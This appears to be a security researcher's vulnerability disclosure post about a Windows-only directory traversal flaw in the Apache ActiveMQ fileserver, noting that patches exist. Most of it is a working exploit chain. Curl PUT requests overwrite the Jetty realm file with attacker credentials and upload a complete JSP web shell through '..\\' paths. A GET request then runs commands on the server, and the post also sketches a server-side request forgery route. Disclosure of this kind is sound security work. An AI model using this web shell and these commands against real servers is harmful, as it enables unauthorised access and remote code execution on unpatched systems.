I have recently been playing with Apache ActiveMQ, and came across a simple but interesting directory traversal flaw in the fileserver upload/download functionality.
I have only been able to reproduce this on Windows, i.e. where "\" is a path delimiter.
An attacker could use this flaw to upload arbitrary files to the server, including a JSP shell, leading to remote code execution.
Exploiting Windows systems to achieve RCE The default conf/jetty.xml includes:
<bean class="org.eclipse.jetty.security.ConstraintMapping" id="securityConstraintMapping">
<property name="constraint" ref="securityConstraint">
<property name="pathSpec" value="/api/*,/admin/*,*.jsp">
</property></property>
</bean>
Effectively blocking the upload of JSP files into contexts that will allow them to execute.
I imagine there are many ways around this; for my proof of concept I opted to overwrite conf/jetty-realm.properties and set my own credentials:
$ cat jetty-realm.properties hacker: hacker, admin
$ curl -v -X PUT --data "@jetty-realm.properties" http://TARGET:8161/fileserver/..\\conf\\jetty-realm.properties
This seems to have the disadvantage of requiring a reboot of the server to take effect.
I am not sure if that is always the case, but if so, I'm pretty sure there is some other workaround that wouldn't require a reboot.
The attacker can then take a standard JSP shell:
$ cat cmd.jsp
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
Upload it, exploiting the "..\" directory traversal flaw to put it into an executable context:
$ curl -u 'hacker:hacker' -v -X PUT --data "@cmd.jsp" http://TARGET:8161/fileserver/..\\admin\\cmd.jsp
And pop a calc on the server:
$ curl -u 'hacker:hacker' -v -X GET http://TARGET:8161/admin/cmd.jsp?cmd=calc.exe
Exploiting non-Windows servers
All attempts at directory traversal on a Linux system failed - encoded, double encoded, and UTF-8 encoded "../" were all caught by Jetty. Only "..\" worked.
That said, clients can specify the uploadUrl for a blob transfer, e.g.:
tcp://localhost:61616?jms.blobTransferPolicy.uploadUrl=http://foo.com
An attacker able to enqueue messages could use this to perform server side request forgery to an arbitrary uploadUrl target, even when running on non-Windows servers.
Resolution
The ActiveMQ project has released an advisory and patches.
This is not the first instance of such a flaw in an open source Java application; CVE-2014-7816 comes to mind.
It demonstrates that while Java may be platform independent, many developers are used to developing for a particular OS, and don't necessarily take cross-platform concerns into account.
